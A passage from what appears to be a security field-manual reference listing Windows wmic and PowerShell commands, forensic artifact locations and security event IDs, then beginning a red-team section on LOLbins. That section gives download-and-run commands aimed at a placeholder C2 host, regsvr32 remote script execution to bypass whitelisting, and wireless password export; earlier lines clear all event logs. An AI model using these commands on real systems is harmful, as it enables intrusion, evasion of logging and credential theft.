/password:<Pass> process list full
List all attributes
of all running
processes on remote
host
wmic /node:<IP> process call create
"\\<SMB_IP>\share\file.exe"
/user:<DOMAIN>\<USER> /password:<PASS>
Execute file on
remote system from
hosted SMB share
wmic /node:<IP> computersystem get
username
User logged in on
remote host
wmic logicaldisk list brief
List logical disks
wmic ntdomain list
List Domain & Domain
Controller
information
wmic process call create C:\<process>
Execute specified
process
wmic process list full
List all attributes
of all running
processes
wmic qfe
Show all patches
applied
wmic startupwmic service
Start wmic service
xcopy /s \\<IP>\<dir> C:\<LocalDir>
Copy remote dir to
local
POWERSHELL COMMANDS
COMMAND
DESCRIPTION
<PSCommand> | Convert-to-Html |
Out-File - FilePAth
example.html
Convert output of command to
HTML report
<PSCommand> | Export-CSV |
C:\example.csv
Export ouptut to CSV
<PSCommand> | Select-Object
<Field>, <Field2> | Export-CSV
| C:\example.csv
Expport only certain fields to
CSV
Add-Content
Adds content to the specified
items, such as adding words to
a file.
335
Backup-SqlDatabase -
ServerINstance
“Computer\Instance” -Database
“Databasecentral”
Create a backup of SQL database
Clear-Host
Clear the console
Compare-Object
Compares two sets of objects.
Copy-Item
Copies an item from one
location to another.
gdr -PSProvider ‘FileSystem’
List sizes of logical & mapped
drives
get-childitem C:\Users -Force |
select Name
Get users of the system
get-command
Get all commands
Get-Content
Gets the content of the item at
the specified location.
get-eventlog -list
Get local eventlog status
get-executionpolicy
Get current execution policy
get-help -name <Command>
Get help about certain command
get-history
Get local command history
get-localgroup | ft Name
Get groups on the system
get-localgroupmember
Administrators | ft Name,
PrincipalSource
Get users of admin group
get-localuser | ft Name,
Enabled,LastLogon
Users last login
Get-Process
View all processes currently
running
get-process <PID1>, <PID2> |
format-list *
Get certain processes
information and format output
get-service
Show all services on local
system
get-service | Where-Object
{$_.Status -eq “Running”}
Show only running service on
local system
get-uptime
Get local uptime
get-winevent -list
Get all local event logs status
Group-Object
Groups objects that contain the
same value for specified
properties.
Invoke-WebRequest
Gets content from a web page on
the Internet.
Measure-Object
Calculates the numeric
properties of objects, and the
characters, words, and lines in
string objects, such as files …
Move-Item
Moves an item from one location
to another.
New-Item
Creates a new item.
Remove-Item
Deletes the specified items.
336
Resolve-Path
Resolves the wildcard
characters in a path, and
displays the path contents.
Resume-Job
Restarts a suspended job
Set-Content
Writes or replaces the content
in an item with new content.
set-executionpolicy -
ExecutionPolicy
Bypass execution policy to
allow all scripts
Set-Item
Changes the value of an item to
the value specified in the
command.
Set-Location
Sets the current working
location to a specified
location.
Set-Variable
Sets the value of a variable.
Show-Command
Creates Windows PowerShell
commands in a graphical command
window.
Sort-Object
Sorts objects by property
values.
Start-Job
Starts a Windows PowerShell
background job.
Start-Process
Starts one or more processes on
the local computer.
Start-Service
Starts one or more stopped
services.
stop-process -name "notepad"
Stop the notepad process
Suspend-Job
Temporarily stops workflow
jobs.
Wait-Job
Suppresses the command prompt
until one or all of the Windows
PowerShell background jobs
running in the session are …
wevtutil el | Foreach-Object
{wevtutil cl "$_"}
Delete all event log files
wevutil el
List names of all logs
Where-Object
Selects objects from a
collection based on their
property values.
Write-Output
Sends the specified objects to
the next command in the
pipeline. If the command is the
last command in the pipeline,…
W
W
WINDOWS_Defend
BLUE TEAM
FORENSICS
WINDOWS
337
Evidence Collection Order of Volatility (RFC3227)
•
Registers, cache
•
Routing table, arp cache, process table, kernel statistics,
memory
•
Temporary file systems
•
Disk
•
Remote logging and monitoring data that is relevant to the
system in question
•
Physical configuration, network topology
•
Archival media
WINDOWS BLUE/DFIR TOOLS
Microsoft Attack Surface Analyzer
https://github.com/microsoft/attacksurfaceanalyzer
Attack Surface Analyzer is a Microsoft-developed open source
security tool that analyzes the attack surface of a target system
and reports on potential security vulnerabilities introduced during
the installation of software or system misconfiguration.
GRR Rapid Response
https://github.com/google/grr
GRR Rapid Response is an incident response framework focused on
remote live forensics. GRR is a python client (agent) that is
installed on target systems, and python server infrastructure that
can manage and talk to clients.
WINDOWS ARTIFACTS
USB ACCESS - search timeline of USB device access on the system.
HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR
Class ID / Serial
#HKLM\SYSTEM\CurrentControlSet\Enum\USB
VID / PID
Find Serial # and then look for "Friendly Name" to obtain the
Volume Name of the USB device.
HKLM\SOFTWARE\Microsoft\Windows Portable Devices\Devices
Find Serial # to obtain the Drive Letter of the USB device
Find Serial # to obtain the Volume GUID of the USB device
HKLM\SYSTEM\MountedDevices
Key will ONLY be present if system drive is NOT an SSD.
Find Serial # to obtain the Volume Serial Number of the USB device
which will be in decimal and convert to hex.
You can find complete history of Volume Serial Numbers here, even
if the device has been formatted multiple times. The USB device’s
338
Serial # will appear multiple times, each with a different Volume
Serial Number generated on each format.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt
Using the VolumeGUID found in SYSTEM\MountedDevices, you can find
the user that actually mounted the USB device
NTUSER.DAT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Mount
points2
USB Times:
0064 = First time device connected
0066 = Last time device connected
0067 = Last removal time
HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USB
iSerial #\Properties\{93ba6346-96a6-5078-2433-b1423a575b26}\####
Search for the device’s Serial # to show USB first device
connected:
XP C:\Windows\setupapi.log
Vista+ C:\Windows\inf\setupapi.dev.log
PREFETCH - stores/caches code pages on last applications run
into .pf files to help apps launch quicker in the future.
Default Directory:
C:\Windows\Prefetch
Default File Structure: (exename)-(8char_hash).pf
Example File: AUDIODG.EXE-B0D3A458.pf
Registry Configuration:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Memory Management\PrefetchParameters
EnablePrefetcher value:
0 = Disabled
1 = Application launch prefetching enabled
2 = Boot prefetching enabled
3 = Applaunch and Boot enabled
POWERSHELL HISTORY - PowerShell command history typed in a terminal
Default File Location:
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_hi
story.txt
Disable History:
STEP 1- At the PowerShell terminal prompt type
$PS> SaveNothing
$PS> MaximumHistoryCount 0
JUMP LISTS - time of execution of an application or recently used.
Files are prepended with an AppIDs for an application.
339
Default Directory:
C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\Automatic
Destinations
C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\CustomDes
tinations
Jump List AppIDs:
https://raw.githubusercontent.com/EricZimmerman/JumpList/master/Jum
pList/Resources/AppIDs.txt
EMAIL ATTACHMENTS - local saved copies of email attachments
received when using an email client.
Outlook Default Directory:
C:\%USERPROFILE%\AppData\Local\Microsoft\Outlook
Thunderbird Default Directory:
C:\%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\
BROWSER DATA - metadata/artifacts/history for each local user
account as it relates to browser usage.
IE 8-9
C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\IEDownloadHistor
y\index.dat
IE 10-11
C:\%USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV
##.dat
Edge **
C:\%USERPROFILE%\AppData\Local\Packages\Microsoft.MicrosoftEdge_xxx
xx\AC\MicrosoftEdge\User\Default\DataStore\Data\<user>\xxxxx\DBStor
e\spartan.edb
C:\%USERPROFILE%\AppData\Local\Packages\Microsoft.MicrosoftEdge_xxx
x\AC\#!001\MicrosoftEdge\Cache\
C:\%USERPROFILE%\AppData\Local\Packages\Microsoft.MicrosoftEdge_xxx
x\AC\MicrosoftEdge\User\Default\Recovery\Active\
Firefox v3-25
C:\%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomte
xt>.default\downloads.sqlite
Firefox v26+
C:\%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomte
xt>.default\places.sqlite
Table:moz_annos
Chrome
C:\%USERPROFILE%\AppData\Local\Google\Chrome\User
Data\Default\History
**ESE databases can be viewed by EseDbViewer, ESEDatabaseView or
esedbexport tool.
340
IMAGE THUMBNAIL CACHE - images, office documents, &
directories/folders exist in thumbnail format in a database for
easy retrieval.
C:\%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer\thumbcach
e_*.db
WINDOWS SECURITY LOG EVENTS
HUNTING EVENT_ID CATEGORIES
LOGON: 4611, 4624, 4648, 4776, 4778
LOGOFF: 4643, 4779
PRIVILEGE USAGE: 4672, 4673, 4674, 4703, 4768, 4769, 4771
PROCESS EXECUTED: 4688
PROCESS TERMINATED: 4689
FILTERING PLATFORM: 5156
ACCOUNT MGMT: 4720, 4722, 4724, 4726, 4728, 4737, 4738
POLICY CHANGE: 4670, 4904, 4905, 4946, 4947
FILE SHARING: 5140, 5142, 5144, 5145
HANDLES: 4656, 4658, 4659, 4660, 4661, 4663, 4690
VSS: 8222
SYSTEM: 7036, 7040, 7045
APPLICATION: 102, 103, 105, 216, 300, 302, 2001, 2003, 2005, 2006
LOGS CLEARED: 104
EventID DESCRIPTION
1100
The event logging service has shut down
1101
Audit events have been dropped by the transport.
1102
The audit log was cleared
1104
The security Log is now full
1105
Event log automatic backup
1108
The event logging service encountered an error
4608
Windows is starting up
4609
Windows is shutting down
4610
An authentication package has been loaded by the Local
Security Authority
4611
A trusted logon process has been registered with the
Local Security Authority
4612
Internal resources allocated for the queuing of audit
messages have been exhausted, leading to the loss of
some audits.
4614
A notification package has been loaded by the Security
Account Manager.
4615
Invalid use of LPC port
4616
The system time was changed.
4618
A monitored security event pattern has occurred
4621
Administrator recovered system from CrashOnAuditFail
4622
A security package has been loaded by the Local
Security Authority.
4624
An account was successfully logged on
4625
An account failed to log on
341
4626
User/Device claims information
4627
Group membership information.
4634
An account was logged off
4646
IKE DoS-prevention mode started
4647
User initiated logoff
4648
A logon was attempted using explicit credentials
4649
A replay attack was detected
4650
An IPsec Main Mode security association was established
4651
An IPsec Main Mode security association was established
4652
An IPsec Main Mode negotiation failed
4653
An IPsec Main Mode negotiation failed
4654
An IPsec Quick Mode negotiation failed
4655
An IPsec Main Mode security association ended
4656
A handle to an object was requested
4657
A registry value was modified
4658
The handle to an object was closed
4659
A handle to an object was requested with intent to
delete
4660
An object was deleted
4661
A handle to an object was requested
4662
An operation was performed on an object
4663
An attempt was made to access an object
4664
An attempt was made to create a hard link
4665
An attempt was made to create an application client
context.
4666
An application attempted an operation
4667
An application client context was deleted
4668
An application was initialized
4670
Permissions on an object were changed
4671
An application attempted to access a blocked ordinal
through the TBS
4672
Special privileges assigned to new logon
4673
A privileged service was called
4674
An operation was attempted on a privileged object
4675
SIDs were filtered
4688
A new process has been created
4689
A process has exited
4690
An attempt was made to duplicate a handle to an object
4691
Indirect access to an object was requested
4692
Backup of data protection master key was attempted
4693
Recovery of data protection master key was attempted
4694
Protection of auditable protected data was attempted
4695
Unprotection of auditable protected data was attempted
4696
A primary token was assigned to process
4697
A service was installed in the system
4698
A scheduled task was created
4699
A scheduled task was deleted
4700
A scheduled task was enabled
4701
A scheduled task was disabled
4702
A scheduled task was updated
342
4703
A token right was adjusted
4704
A user right was assigned
4705
A user right was removed
4706
A new trust was created to a domain
4707
A trust to a domain was removed
4709
IPsec Services was started
4710
IPsec Services was disabled
4711
PAStore Engine (1%)
4712
IPsec Services encountered a potentially serious
failure
4713
Kerberos policy was changed
4714
Encrypted data recovery policy was changed
4715
The audit policy (SACL) on an object was changed
4716
Trusted domain information was modified
4717
System security access was granted to an account
4718
System security access was removed from an account
4719
System audit policy was changed
4720
A user account was created
4722
A user account was enabled
4723
An attempt was made to change an account's password
4724
An attempt was made to reset an accounts password
4725
A user account was disabled
4726
A user account was deleted
4727
A security-enabled global group was created
4728
A member was added to a security-enabled global group
4729
A member was removed from a security-enabled global
group
4730
A security-enabled global group was deleted
4731
A security-enabled local group was created
4732
A member was added to a security-enabled local group
4733
A member was removed from a security-enabled local
group
4734
A security-enabled local group was deleted
4735
A security-enabled local group was changed
4737
A security-enabled global group was changed
4738
A user account was changed
4739
Domain Policy was changed
4740
A user account was locked out
4741
A computer account was created
4742
A computer account was changed
4743
A computer account was deleted
4744
A security-disabled local group was created
4745
A security-disabled local group was changed
4746
A member was added to a security-disabled local group
4747
A member was removed from a security-disabled local
group
4748
A security-disabled local group was deleted
4749
A security-disabled global group was created
4750
A security-disabled global group was changed
4751
A member was added to a security-disabled global group
343
4752
A member was removed from a security-disabled global
group
4753
A security-disabled global group was deleted
4754
A security-enabled universal group was created
4755
A security-enabled universal group was changed
4756
A member was added to a security-enabled universal
group
4757
A member was removed from a security-enabled universal
group
4758
A security-enabled universal group was deleted
4759
A security-disabled universal group was created
4760
A security-disabled universal group was changed
4761
A member was added to a security-disabled universal
group
4762
A member was removed from a security-disabled universal
group
4763
A security-disabled universal group was deleted
4764
A groups type was changed
4765
SID History was added to an account
4766
An attempt to add SID History to an account failed
4767
A user account was unlocked
4768
A Kerberos authentication ticket (TGT) was requested
4769
A Kerberos service ticket was requested
4770
A Kerberos service ticket was renewed
4771
Kerberos pre-authentication failed
4772
A Kerberos authentication ticket request failed
4773
A Kerberos service ticket request failed
4774
An account was mapped for logon
4775
An account could not be mapped for logon
4776
The domain controller attempted to validate the
credentials for an account
4777
The domain controller failed to validate the
credentials for an account
4778
A session was reconnected to a Window Station
4779
A session was disconnected from a Window Station
4780
The ACL was set on accounts which are members of
administrators groups
4781
The name of an account was changed
4782
The password hash an account was accessed
4783
A basic application group was created
4784
A basic application group was changed
4785
A member was added to a basic application group
4786
A member was removed from a basic application group
4787
A non-member was added to a basic application group
4788
A non-member was removed from a basic application
group..
4789
A basic application group was deleted
4790
An LDAP query group was created
4791
A basic application group was changed
4792
An LDAP query group was deleted
344
4793
The Password Policy Checking API was called
4794
An attempt was made to set the Directory Services
Restore Mode administrator password
4797
An attempt was made to query the existence of a blank
password for an account
4798
A user's local group membership was enumerated.
4799
A security-enabled local group membership was
enumerated
4800
The workstation was locked
4801
The workstation was unlocked
4802
The screen saver was invoked
4803
The screen saver was dismissed
4816
RPC detected an integrity violation while decrypting an
incoming message
4817
Auditing settings on object were changed.
4818
Proposed Central Access Policy does not grant the same
access permissions as the current Central Access Policy
4819
Central Access Policies on the machine have been
changed
4820
A Kerberos Ticket-granting-ticket (TGT) was denied
because the device does not meet the access control
restrictions
4821
A Kerberos service ticket was denied because the user,
device, or both does not meet the access control
restrictions
4822
NTLM authentication failed because the account was a
member of the Protected User group
4823
NTLM authentication failed because access control
restrictions are required
4824
Kerberos preauthentication by using DES or RC4 failed
because the account was a member of the Protected User
group
4825
A user was denied the access to Remote Desktop. By
default, users are allowed to connect only if they are
members of the Remote Desktop Users group or
Administrators group
4826
Boot Configuration Data loaded
4830
SID History was removed from an account
4864
A namespace collision was detected
4865
A trusted forest information entry was added
4866
A trusted forest information entry was removed
4867
A trusted forest information entry was modified
4868
The certificate manager denied a pending certificate
request
4869
Certificate Services received a resubmitted certificate
request
4870
Certificate Services revoked a certificate
4871
Certificate Services received a request to publish the
certificate revocation list (CRL)
345
4872
Certificate Services published the certificate
revocation list (CRL)
4873
A certificate request extension changed
4874
One or more certificate request attributes changed.
4875
Certificate Services received a request to shut down
4876
Certificate Services backup started
4877
Certificate Services backup completed
4878
Certificate Services restore started
4879
Certificate Services restore completed
4880
Certificate Services started
4881
Certificate Services stopped
4882
The security permissions for Certificate Services
changed
4883
Certificate Services retrieved an archived key
4884
Certificate Services imported a certificate into its
database
4885
The audit filter for Certificate Services changed
4886
Certificate Services received a certificate request
4887
Certificate Services approved a certificate request and
issued a certificate
4888
Certificate Services denied a certificate request
4889
Certificate Services set the status of a certificate
request to pending
4890
The certificate manager settings for Certificate
Services changed.
4891
A configuration entry changed in Certificate Services
4892
A property of Certificate Services changed
4893
Certificate Services archived a key
4894
Certificate Services imported and archived a key
4895
Certificate Services published the CA certificate to
Active Directory Domain Services
4896
One or more rows have been deleted from the certificate
database
4897
Role separation enabled
4898
Certificate Services loaded a template
4899
A Certificate Services template was updated
4900
Certificate Services template security was updated
4902
The Per-user audit policy table was created
4904
An attempt was made to register a security event source
4905
An attempt was made to unregister a security event
source
4906
The CrashOnAuditFail value has changed
4907
Auditing settings on object were changed
4908
Special Groups Logon table modified
4909
The local policy settings for the TBS were changed
4910
The group policy settings for the TBS were changed
4911
Resource attributes of the object were changed
4912
Per User Audit Policy was changed
4913
Central Access Policy on the object was changed
346
4928
An Active Directory replica source naming context was
established
4929
An Active Directory replica source naming context was
removed
4930
An Active Directory replica source naming context was
modified
4931
An Active Directory replica destination naming context
was modified
4932
Synchronization of a replica of an Active Directory
naming context has begun
4933
Synchronization of a replica of an Active Directory
naming context has ended
4934
Attributes of an Active Directory object were
replicated
4935
Replication failure begins
4936
Replication failure ends
4937
A lingering object was removed from a replica
4944
The following policy was active when the Windows
Firewall started
4945
A rule was listed when the Windows Firewall started
4946
A change has been made to Windows Firewall exception
list. A rule was added
4947
A change has been made to Windows Firewall exception
list. A rule was modified
4948
A change has been made to Windows Firewall exception
list. A rule was deleted
4949
Windows Firewall settings were restored to the default
values
4950
A Windows Firewall setting has changed
4951
A rule has been ignored because its major version
number was not recognized by Windows Firewall
4952
Parts of a rule have been ignored because its minor
version number was not recognized by Windows Firewall
4953
A rule has been ignored by Windows Firewall because it
could not parse the rule
4954
Windows Firewall Group Policy settings has changed. The
new settings have been applied
4956
Windows Firewall has changed the active profile
4957
Windows Firewall did not apply the following rule
4958
Windows Firewall did not apply the following rule
because the rule referred to items not configured on
this computer
4960
IPsec dropped an inbound packet that failed an
integrity check
4961
IPsec dropped an inbound packet that failed a replay
check
4962
IPsec dropped an inbound packet that failed a replay
check
4963
IPsec dropped an inbound clear text packet that should
have been secured
347
4964
Special groups have been assigned to a new logon
4965
IPsec received a packet from a remote computer with an
incorrect Security Parameter Index (SPI).
4976
During Main Mode negotiation, IPsec received an invalid
negotiation packet.
4977
During Quick Mode negotiation, IPsec received an
invalid negotiation packet.
4978
During Extended Mode negotiation, IPsec received an
invalid negotiation packet.
4979
IPsec Main Mode and Extended Mode security associations
were established.
4980
IPsec Main Mode and Extended Mode security associations
were established
4981
IPsec Main Mode and Extended Mode security associations
were established
4982
IPsec Main Mode and Extended Mode security associations
were established
4983
An IPsec Extended Mode negotiation failed
4984
An IPsec Extended Mode negotiation failed
4985
The state of a transaction has changed
5024
The Windows Firewall Service has started successfully
5025
The Windows Firewall Service has been stopped
5027
The Windows Firewall Service was unable to retrieve the
security policy from the local storage
5028
The Windows Firewall Service was unable to parse the
new security policy.
5029
The Windows Firewall Service failed to initialize the
driver
5030
The Windows Firewall Service failed to start
5031
The Windows Firewall Service blocked an application
from accepting incoming connections on the network.
5032
Windows Firewall was unable to notify the user that it
blocked an application from accepting incoming
connections on the network
5033
The Windows Firewall Driver has started successfully
5034
The Windows Firewall Driver has been stopped
5035
The Windows Firewall Driver failed to start
5037
The Windows Firewall Driver detected critical runtime
error. Terminating
5038
Code integrity determined that the image hash of a file
is not valid
5039
A registry key was virtualized.
5040
A change has been made to IPsec settings. An
Authentication Set was added.
5041
A change has been made to IPsec settings. An
Authentication Set was modified
5042
A change has been made to IPsec settings. An
Authentication Set was deleted
5043
A change has been made to IPsec settings. A Connection
Security Rule was added
348
5044
A change has been made to IPsec settings. A Connection
Security Rule was modified
5045
A change has been made to IPsec settings. A Connection
Security Rule was deleted
5046
A change has been made to IPsec settings. A Crypto Set
was added
5047
A change has been made to IPsec settings. A Crypto Set
was modified
5048
A change has been made to IPsec settings. A Crypto Set
was deleted
5049
An IPsec Security Association was deleted
5050
An attempt to programmatically disable the Windows
Firewall using a call to
INetFwProfile.FirewallEnabled(FALSE
5051
A file was virtualized
5056
A cryptographic self test was performed
5057
A cryptographic primitive operation failed
5058
Key file operation
5059
Key migration operation
5060
Verification operation failed
5061
Cryptographic operation
5062
A kernel-mode cryptographic self test was performed
5063
A cryptographic provider operation was attempted
5064
A cryptographic context operation was attempted
5065
A cryptographic context modification was attempted
5066
A cryptographic function operation was attempted
5067
A cryptographic function modification was attempted
5068
A cryptographic function provider operation was
attempted
5069
A cryptographic function property operation was
attempted
5070
A cryptographic function property operation was
attempted
5071
Key access denied by Microsoft key distribution service
5120
OCSP Responder Service Started
5121
OCSP Responder Service Stopped
5122
A Configuration entry changed in the OCSP Responder
Service
5123
A configuration entry changed in the OCSP Responder
Service
5124
A security setting was updated on OCSP Responder
Service
5125
A request was submitted to OCSP Responder Service
5126
Signing Certificate was automatically updated by the
OCSP Responder Service
5127
The OCSP Revocation Provider successfully updated the
revocation information
5136
A directory service object was modified
5137
A directory service object was created
5138
A directory service object was undeleted
349
5139
A directory service object was moved
5140
A network share object was accessed
5141
A directory service object was deleted
5142
A network share object was added.
5143
A network share object was modified
5144
A network share object was deleted.
5145
A network share object was checked to see whether
client can be granted desired access
5146
The Windows Filtering Platform has blocked a packet
5147
A more restrictive Windows Filtering Platform filter
has blocked a packet
5148
The Windows Filtering Platform has detected a DoS
attack and entered a defensive mode; packets associated
with this attack will be discarded.
5149
The DoS attack has subsided and normal processing is
being resumed.
5150
The Windows Filtering Platform has blocked a packet.
5151
A more restrictive Windows Filtering Platform filter
has blocked a packet.
5152
The Windows Filtering Platform blocked a packet
5153
A more restrictive Windows Filtering Platform filter
has blocked a packet
5154
The Windows Filtering Platform has permitted an
application or service to listen on a port for incoming
connections
5155
The Windows Filtering Platform has blocked an
application or service from listening on a port for
incoming connections
5156
The Windows Filtering Platform has allowed a connection
5157
The Windows Filtering Platform has blocked a connection
5158
The Windows Filtering Platform has permitted a bind to
a local port
5159
The Windows Filtering Platform has blocked a bind to a
local port
5168
Spn check for SMB/SMB2 fails.
5169
A directory service object was modified
5170
A directory service object was modified during a
background cleanup task
5376
Credential Manager credentials were backed up
5377
Credential Manager credentials were restored from a
backup
5378
The requested credentials delegation was disallowed by
policy
5379
Credential Manager credentials were read
5380
Vault Find Credential
5381
Vault credentials were read
5382
Vault credentials were read
5440
The following callout was present when the Windows
Filtering Platform Base Filtering Engine started
350
5441
The following filter was present when the Windows
Filtering Platform Base Filtering Engine started
5442
The following provider was present when the Windows
Filtering Platform Base Filtering Engine started
5443
The following provider context was present when the
Windows Filtering Platform Base Filtering Engine
started
5444
The following sub-layer was present when the Windows
Filtering Platform Base Filtering Engine started
5446
A Windows Filtering Platform callout has been changed
5447
A Windows Filtering Platform filter has been changed
5448
A Windows Filtering Platform provider has been changed
5449
A Windows Filtering Platform provider context has been
changed
5450
A Windows Filtering Platform sub-layer has been changed
5451
An IPsec Quick Mode security association was
established
5452
An IPsec Quick Mode security association ended
5453
An IPsec negotiation with a remote computer failed
because the IKE and AuthIP IPsec Keying Modules
(IKEEXT) service is not started
5456
PAStore Engine applied Active Directory storage IPsec
policy on the computer
5457
PAStore Engine failed to apply Active Directory storage
IPsec policy on the computer
5458
PAStore Engine applied locally cached copy of Active
Directory storage IPsec policy on the computer
5459
PAStore Engine failed to apply locally cached copy of
Active Directory storage IPsec policy on the computer
5460
PAStore Engine applied local registry storage IPsec
policy on the computer
5461
PAStore Engine failed to apply local registry storage
IPsec policy on the computer
5462
PAStore Engine failed to apply some rules of the active
IPsec policy on the computer
5463
PAStore Engine polled for changes to the active IPsec
policy and detected no changes
5464
PAStore Engine polled for changes to the active IPsec
policy, detected changes, and applied them to IPsec
Services
5465
PAStore Engine received a control for forced reloading
of IPsec policy and processed the control successfully
5466
PAStore Engine polled for changes to the Active
Directory IPsec policy, determined that Active
Directory cannot be reached, and will use the cached
copy of the Active Directory IPsec policy instead
5467
PAStore Engine polled for changes to the Active
Directory IPsec policy, determined that Active
Directory can be reached, and found no changes to the
policy
351
5468
PAStore Engine polled for changes to the Active
Directory IPsec policy, determined that Active
Directory can be reached, found changes to the policy,
and applied those changes
5471
PAStore Engine loaded local storage IPsec policy on the
computer
5472
PAStore Engine failed to load local storage IPsec
policy on the computer
5473
PAStore Engine loaded directory storage IPsec policy on
the computer
5474
PAStore Engine failed to load directory storage IPsec
policy on the computer
5477
PAStore Engine failed to add quick mode filter
5478
IPsec Services has started successfully
5479
IPsec Services has been shut down successfully
5480
IPsec Services failed to get the complete list of
network interfaces on the computer
5483
IPsec Services failed to initialize RPC server. IPsec
Services could not be started
5484
IPsec Services has experienced a critical failure and
has been shut down
5485
IPsec Services failed to process some IPsec filters on
a plug-and-play event for network interfaces
5632
A request was made to authenticate to a wireless
network
5633
A request was made to authenticate to a wired network
5712
A Remote Procedure Call (RPC) was attempted
5888
An object in the COM+ Catalog was modified
5889
An object was deleted from the COM+ Catalog
5890
An object was added to the COM+ Catalog
6144
Security policy in the group policy objects has been
applied successfully
6145
One or more errors occured while processing security
policy in the group policy objects
6272
Network Policy Server granted access to a user
6273
Network Policy Server denied access to a user
6274
Network Policy Server discarded the request for a user
6275
Network Policy Server discarded the accounting request
for a user
6276
Network Policy Server quarantined a user
6277
Network Policy Server granted access to a user but put
it on probation because the host did not meet the
defined health policy
6278
Network Policy Server granted full access to a user
because the host met the defined health policy
6279
Network Policy Server locked the user account due to
repeated failed authentication attempts
6280
Network Policy Server unlocked the user account
6281
Code Integrity determined that the page hashes of an
image file are not valid...
352
6400
BranchCache: Received an incorrectly formatted response
while discovering availability of content.
6401
BranchCache: Received invalid data from a peer. Data
discarded.
6402
BranchCache: The message to the hosted cache offering
it data is incorrectly formatted.
6403
BranchCache: The hosted cache sent an incorrectly
formatted response to the client's message to offer it
data.
6404
BranchCache: Hosted cache could not be authenticated
using the provisioned SSL certificate.
6405
BranchCache: %2 instance(s) of event id %1 occurred.
6406
%1 registered to Windows Firewall to control filtering
for the following:
6407
0.01
6408
Registered product %1 failed and Windows Firewall is
now controlling the filtering for %2.
6409
BranchCache: A service connection point object could
not be parsed
6410
Code integrity determined that a file does not meet the
security requirements to load into a process. This
could be due to the use of shared sections or other
issues
6416
A new external device was recognized by the system.
6417
The FIPS mode crypto selftests succeeded
6418
The FIPS mode crypto selftests failed
6419
A request was made to disable a device
6420
A device was disabled
6421
A request was made to enable a device
6422
A device was enabled
6423
The installation of this device is forbidden by system
policy
6424
The installation of this device was allowed, after
having previously been forbidden by policy
8191
Highest System-Defined Audit Message Value
WINDOWS SYSMON LOG EVENTS
ID
DESCRIPTION
1
Process creation
2
A process changed a file creation time
3
Network connection
4
Sysmon service state changed
5
Process terminated
6
Driver loaded
7
Image loaded
8
CreateRemoteThread
353
9
RawAccessRead
10
ProcessAccess
11
FileCreate
12
RegistryEvent (Object create and delete)
13
RegistryEvent (Value Set)
14
RegistryEvent (Key and Value Rename)
15
FileCreateStreamHash
16
Sysmon config state changed
17
Pipe created
18
Pipe connected
19
WmiEventFilter activity detected
20
WmiEventConsumer activity detected
21
WmiEventConsumerToFilter activity detected
225
Error
REFERENCE:
https://www.sans.org/security-resources/posters/windows-forensic-
analysis/170/download?utm_source=share&utm_medium=ios_app&utm_name=iossmf
https://cqureacademy.com/blog/forensics/what-to-do-after-hack-5-unusual-
places-where-you-can-find-evidence
https://0xdf.gitlab.io/2018/11/08/powershell-history-file.html
https://www.blackbagtech.com/blog/windows-10-jump-list-forensics/
https://www.linkedin.com/pulse/windows-10-microsoft-edge-browser-forensics-
brent-muir
https://github.com/Cugu/awesome-forensics
https://github.com/meirwah/awesome-incident-response#windows-evidence-
collection
https://www.jpcert.or.jp/present/2018/20171109codeblue2017_en.pdf
W
W
WINDOWS_Exploit
RED TEAM
EXPLOITATION
WINDOWS
WINDOWS LOLbins
LoLBin is any binary supplied by the operating system that is
normally used for legitimate purposes but can also be abused by
malicious actors. Several default system binaries have unexpected
side effects, which may allow attackers to hide their activities
post-exploitation
EXECUTE LOLbins
at.exe at 07:30 /interactive /every:m,t,w,th,f,s,su
C:\Windows\System32\example.exe
354
Atbroker.exe /start example.exe
bash.exe -c example.exe
bitsadmin /CREATE 1 & bitsadmin /ADDFILE 1
c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin
/SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin
/RESUME 1 & bitsadmin /RESET
rundll32.exe zipfldr.dll,RouteTheCall example.exe
dotnet.exe \path\to\example.dll
wsl.exe -e /mnt/c/Windows/System32/example.exe
DOWNLOAD LOLbins
bitsadmin /CREATE 1 bitsadmin /ADDFILE 1
https://live.sysinternals.com/autoruns.exe
c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin
/COMPLETE 1
certutil.exe -urlcache -split -f http://<C2_IPAddress>/example.exe
example.exe
Excel.exe http://<C2_IPAddress>/example.dll
#Places download in cache folder
Powerpnt.exe http://<C2_IPAddress>/example.dll
#Places download in cache folder
hh.exe http://<C2_IPAddress/example.ps1
replace.exe \\<webdav.host.com>\path\example.exe c:\path\outdir /A
COPY LOLbins
esentutl.exe /y C:\path\dir\src_example.vbs /d
C:\path\dir\dst_example.vbs /o
expand c:\path\dir\src_example.bat c:\path\dir\dst_example.bat
replace.exe C:\path\dir\example.txt C:\path\outdir\ /A
ENCODE LOLbins
certutil -encode input_example.txt encoded_example.txt
355
DECODE LOLbins
certutil -decode encoded_example.txt output_example.txt
APPLICATION WHITELIST BYPASS LOLbins
bash.exe -c example.exe
#Executes click-once-application from <URL>
rundll32.exe dfshim.dll,ShOpenVerbApplication
http://<URL>/application/?param1=foo
#Execute the specified remote .SCT script with scrobj.dll.
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
#Execute the specified local .SCT script with scrobj.dll.
regsvr32.exe /s /u /i:file.sct scrobj.dll
CREDENTIALS LOLbins
#List cached credentials:
cmdkey /list
#Export plaintext local wireless passwords:
netsh wlan export profile key=clear
COMPILE LOLbins
csc.exe -out:example.exe file.cs
csc.exe -target:library -out:example.dll file.cs
#compile javascript code in scriptfile.js & output scriptfile.exe.
jsc.exe scriptfile.js
HASH LEAK LOLbins
DOS COMMANDS
